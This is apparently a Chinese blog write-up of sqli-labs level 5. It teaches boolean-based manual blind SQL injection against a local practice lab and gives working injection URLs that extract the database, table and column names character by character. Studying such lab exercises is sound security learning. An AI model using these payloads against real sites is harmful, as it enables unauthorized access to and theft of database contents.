暑期练习web23:sqli lab第五关 双注入GET单引号字符型注入----基于bool型的手工盲注

如果所查询的用户id在数据库中,可以发现页面显示”You are in”,而不像前4关那样会显示出具体的账号密码
暑期练习web23:sqli lab第五关 双注入GET单引号字符型注入----基于bool型的手工盲注_第1张图片
而如果输入的查询语句不存在,则什么也不会返回
暑期练习web23:sqli lab第五关 双注入GET单引号字符型注入----基于bool型的手工盲注_第2张图片
这里普及一下盲注时的常用函数
1.mid()函数

mid(striing,start,length)

string(必需)规定要返回其中一部分的字符串。

start(必需)规定开始位置(起始值是 1)。

length(可选)要返回的字符数。如果省略,则 mid() 函数返回剩余文本。

2.substr()函数

substr(string,start,length)

string(必需)规定要返回其中一部分的字符串。

start(必需)规定在字符串的何处开始。

length(可选)规定被返回字符串的长度。

3.left()函数

left(string,length)

再怎么解释也不如直接开弄

string(必需)规定要返回其中一部分的字符串

length(可选)规定被返回字符串的前length长度的字符

4.ascii(a)将a转换成其ASCII值
5.ord(a)将a转换成其ASCII值

首先猜解库名
我们这里先用length测出数据库的长度是8
暑期练习web23:sqli lab第五关 双注入GET单引号字符型注入----基于bool型的手工盲注_第3张图片
接着,利用substr函数,推测库名的第一个字符
大于r
暑期练习web23:sqli lab第五关 双注入GET单引号字符型注入----基于bool型的手工盲注_第4张图片
小于t
暑期练习web23:sqli lab第五关 双注入GET单引号字符型注入----基于bool型的手工盲注_第5张图片
由此可推断第一个字符是s
接下来判断第二个字符:
http://127.0.0.1/sqlilabs/Less-5/?id=1' and left(database(),2)>'sd'%23

‘sd’<’当前数据库名的前两位字符’<’sf’

所以当前数据库名的第二位字符为’e’。

以此类推,最后得到当前数据库名为“security”

第二步当然是推表名
因为有多个表,所以我们在这一步还是需要用到limit,以便一个个推测
还是一样,先测第一个表的长度
暑期练习web23:sqli lab第五关 双注入GET单引号字符型注入----基于bool型的手工盲注_第6张图片
使用上面这个payload,如果页面返回”You are in”,则表示第一张表的长度至少为1,同样的,我们可以对 limit num,1),num,1)) num部分进行递增判断,如果进行到 limit 0,1),7,1)) 时页面返回空,则说明第一张表的长度为7-1=6

这里呢,我们只用substr就会不方便了,因为表名只要包含到数字或者像@这样的标识符,用字符一个夹逼就不是很方便,所以这里用acsii码来比对,这样范围更好确定
暑期练习web23:sqli lab第五关 双注入GET单引号字符型注入----基于bool型的手工盲注_第7张图片
acsii码大于100,我们找到100所对于的acsii码得知100对应的是字符‘d’
暑期练习web23:sqli lab第五关 双注入GET单引号字符型注入----基于bool型的手工盲注_第8张图片
acsii码小于102,我们找到102所对于的acsii码得知102对应的是字符‘f’
由此我们可以确定,第一个表的第一个字符是e
由此类推,得知第一个表是emails
另外呢,可以利用count函数,查询表数量
暑期练习web23:sqli lab第五关 双注入GET单引号字符型注入----基于bool型的手工盲注_第9张图片
查询security数据库下的表的个数
http://127.0.0.1/sqlilabs/Less-5/?id=1' and 1=(select count(table_name) from information_schema.tables where table_schema='security'%23

下一步当然就是要查列名了
还是先查询列的数量猜解列的个数
http://127.0.0.1/sqlilabs/Less-5/?id=1' and %d=(select count(column_name) from information_schema.columns where table_name='users')%23
后一步步夹逼出列名
http://127.0.0.1/sqlilabs/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name="users" limit 4,1),1,1))>104%23
h<第五个列的第一个字符

你可能感兴趣的:(ctf,web,sql,web,ctf,sql)